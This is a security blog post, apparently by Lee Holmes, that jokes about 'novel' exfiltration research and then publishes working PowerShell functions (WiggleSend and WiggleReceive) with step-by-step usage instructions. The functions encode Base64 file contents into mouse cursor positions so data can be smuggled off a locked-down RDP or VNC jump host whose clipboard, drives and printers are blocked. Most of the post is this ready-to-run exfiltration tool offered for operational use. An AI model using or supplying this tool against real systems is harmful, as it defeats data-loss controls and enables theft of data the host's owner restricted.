Data Exfiltration via Mouse Wiggles
A class of security research out there that is a never-ending source of entertainment is “novel” communication methods. This shows up in many ways in the security industry, including:
- “Novel” C2 communication channels (DropBox, Telegram, DNS, Instagram comments, …)
- “Novel” air gap jumping techniques (HDD lights, high-frequency audio, …)
- “Novel” sideband communication techniques (Steganography, communication via processor cache latency)
Ultimately, computers are amazing at encoding data and communicating in various ways, and humans are amazing at inventing various ways. Put these together, and you get an infinite river of InfoSec articles! We can sustain a whole industry this way! Proof positive that perpetual motion machines are not only possible, but actually exist.
Another class of these are “Novel” data exfiltration methods.
In a Twitter exchange, @BigEndianSmalls was on an operation where he had access to a jump host, but no ability to run executables, no shared clipboard, no \\tsclient
drive, no shared printers, or any of the other methods you might normally use to get data off of the system.
I think an optimal solution in that scenario would be to write a script to visually encode data (either as QR codes, or Base64 of content that you then screenshot + apply OCR), but what’s novel about that? How about Mouse Wiggles? :)
Data exfil via mouse wiggles. pic.twitter.com/kMBaAJVdpM
— Lee Holmes (@Lee_Holmes) March 26, 2021
The following script encodes Base64 characters into X and Y mouse coordinates and moves the mouse to them. Since both the host system and client system sync their mouse positions, you can use this as a bi-directional communication mechanism. There are only really two subtleties that the script has to deal with:
- How do you handle two of the same characters in a row? This script moves the mouse to the X position 1030.
- How do you signal end of the data stream? This script moves the mouse to the position to the X position 1040.
Usage
- On the target system, paste (or use scripted SendKeys() to auto-type) the
WiggleSend
function. - On the target system, encode a file into a Base64 string. Store it into a variable (i.e.:
$data
). - On your client system, paste the
WiggleReceive
function. - On the target system, maximize the RDP / VNC window, and prepare this command:
WiggleSend $data
(type, but don’t pressEnter
.) - On the client system, run
$output = WiggleReceive
- Quickly (within 10 seconds), go back to the target system. Ensure the window is maximized, and press
Enter
. - Position your mouse near the top left of the screen, and leave it alone.
- Once the operation completes, go back to the client system. Your data is now in the
$output
variable, where you can Base64-decode it or whatever you need. If data gets corrupted during transfer, you may need to adjust the timing delay. You can use WiggleSend’s-TimingDelay
parameter for that.
Performance
Not the greatest. It’s about 4 hours per megabyte. But it works, and is “novel”. Isn’t that all that matters? :)
Code
Here is the code for WiggleSend:
function WiggleSend
{
param(
[string] $InputObject,
[int] $TimingDelay = 20
)
Add-Type -Assembly System.Windows.Forms
Write-Host "Position the mouse near the top left hand side of the screen"
Start-Sleep -Seconds 10
$currentPosition = [Windows.Forms.Cursor]::Position
$lastPositionSent = $null
for($charPosition = 0;
$charPosition -lt $InputObject.Length;
$charPosition += 2)
{
$char = $InputObject[$charPosition]
$charOffsetX = [int] $char
if(($charPosition + 1) -lt ($InputObject.Length))
{
$char = $InputObject[$charPosition + 1]
$charOffsetY = [int] $char
}
else
{
$charOffsetY = 1040
}
$newPosition = New-Object Drawing.Point (
$currentPosition.X + $charOffsetX),
($currentPosition.Y + $charOffsetY)
if($newPosition -eq $lastPositionSent)
{
$newPosition.X = 1030
$newPosition.Y = 1030
$lastPositionSent = $null
}
else
{
$lastPositionSent = $newPosition
}
[Windows.Forms.Cursor]::Position = $newPosition
Start-Sleep -m $TimingDelay
}
[Windows.Forms.Cursor]::Position = New-Object Drawing.Point (
$currentPosition.X + 1040),($currentPosition.Y + + 1040)
}
And WiggleReceive:
function WiggleReceive
{
Add-Type -Assembly System.Windows.Forms
Start-Sleep -Seconds 10
$currentPosition = [Windows.Forms.Cursor]::Position
$basePosition = $currentPosition
$lastPosition = $currentPosition
$sb = New-Object System.Text.StringBuilder
$sw = New-Object System.Diagnostics.Stopwatch
while($true)
{
$currentPosition = [Windows.Forms.Cursor]::Position
if($currentPosition -ne $lastPosition)
{
if(-not $sw.IsRunning)
{
$sw.Start()
}
$charOffsetX = $currentPosition.X - $basePosition.X
$charOffsetY = $currentPosition.Y - $basePosition.Y
if($charOffsetX -eq 1030)
{
$charOffsetX = $lastPosition.X - $basePosition.X
$charOffsetY = $lastPosition.Y - $basePosition.Y
}
if($charOffsetX -eq 1040)
{
$sw.Stop()
$results = $sb.ToString()
Write-Host "Received $($results.Length) characters in " +
"$($sw.Elapsed.TotalSeconds) seconds - (" +
$results.Length / $sw.Elapsed.TotalSeconds + ") bytes per second."
return $results
}
$null = $sb.Append([char] $charOffsetX)
if($charOffsetY -eq 1040)
{
$sw.Stop()
$results = $sb.ToString()
Write-Host "Received $($results.Length) characters in " +
"$($sw.Elapsed.TotalSeconds) seconds - (" +
$results.Length / $sw.Elapsed.TotalSeconds + ") bytes per second."
return $results
}
$null = $sb.Append([char] $charOffsetY)
$lastPosition = $currentPosition
}
}
}